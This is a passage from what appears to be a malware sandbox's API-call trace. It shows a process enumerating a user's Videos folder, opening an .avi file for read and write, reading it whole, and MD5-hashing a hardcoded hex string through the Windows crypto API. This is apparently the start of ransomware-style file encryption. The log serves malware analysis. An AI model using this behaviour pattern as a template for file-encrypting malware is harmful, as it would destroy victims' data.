(HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.960] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.961] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.962] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\aMTPOWpHV-gn\\") returned="aMTPOWpHV-gn\\" [0121.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094960 [0121.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.962] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\") returned="DazZdjJb9WM2iqx\\" [0121.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30187b8 [0121.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094960 | out: hHeap=0x5e0000) returned 1 [0121.962] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\") returned="jDCuGCvpf1uArI\\" [0121.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 [0121.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30187b8 | out: hHeap=0x5e0000) returned 1 [0121.962] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0121.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde950 | out: hHeap=0x5e0000) returned 1 [0121.962] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.962] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0121.962] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.962] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.962] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.963] PathFindFileNameW (pszPath="") returned="" [0121.963] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.963] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\aMTPOWpHV-gn\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5caeee40, ftCreationTime.dwHighDateTime=0x1d4d538, ftLastAccessTime.dwLowDateTime=0x8ec94d80, ftLastAccessTime.dwHighDateTime=0x1d4c72d, ftLastWriteTime.dwLowDateTime=0x8ec94d80, ftLastWriteTime.dwHighDateTime=0x1d4c72d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.963] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.963] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5caeee40, ftCreationTime.dwHighDateTime=0x1d4d538, ftLastAccessTime.dwLowDateTime=0x8ec94d80, ftLastAccessTime.dwHighDateTime=0x1d4c72d, ftLastWriteTime.dwLowDateTime=0x8ec94d80, ftLastWriteTime.dwHighDateTime=0x1d4c72d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.963] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c9c90, ftCreationTime.dwHighDateTime=0x1d4d3e9, ftLastAccessTime.dwLowDateTime=0x49b15210, ftLastAccessTime.dwHighDateTime=0x1d4d3c6, ftLastWriteTime.dwLowDateTime=0x49b15210, ftLastWriteTime.dwHighDateTime=0x1d4d3c6, nFileSizeHigh=0x0, nFileSizeLow=0x2d09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NnrUk7lhXvK.avi", cAlternateFileName="NNRUK7~1.AVI")) returned 1 [0121.963] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.963] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x106) returned 0x3011f48 [0121.963] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.963] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\aMTPOWpHV-gn\\NnrUk7lhXvK.avi") returned=".avi" [0121.963] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\aMTPOWpHV-gn\\NnrUk7lhXvK.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\dazzdjjb9wm2iqx\\amtpowphv-gn\\nnruk7lhxvk.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.964] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=11529) returned 1 [0121.964] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.966] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x2ce3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.966] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.967] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.967] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.967] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.967] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x2d09, lpOverlapped=0x0) returned 1 [0121.968] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.968] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.968] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.968] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.968] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0d20) returned 1 [0121.969] CryptCreateHash (in: hProv=0x6c0d20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.969] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.969] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.969] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.969] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.969] GetLastError () returned 0x0 [0121.969] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.969] CryptReleaseContext (hProv=0x6c0d20, dwFlags=0x0) returned 1 [0121.969] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.969] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x2d10) returned 0x3096780 [0121.969] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.969] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, 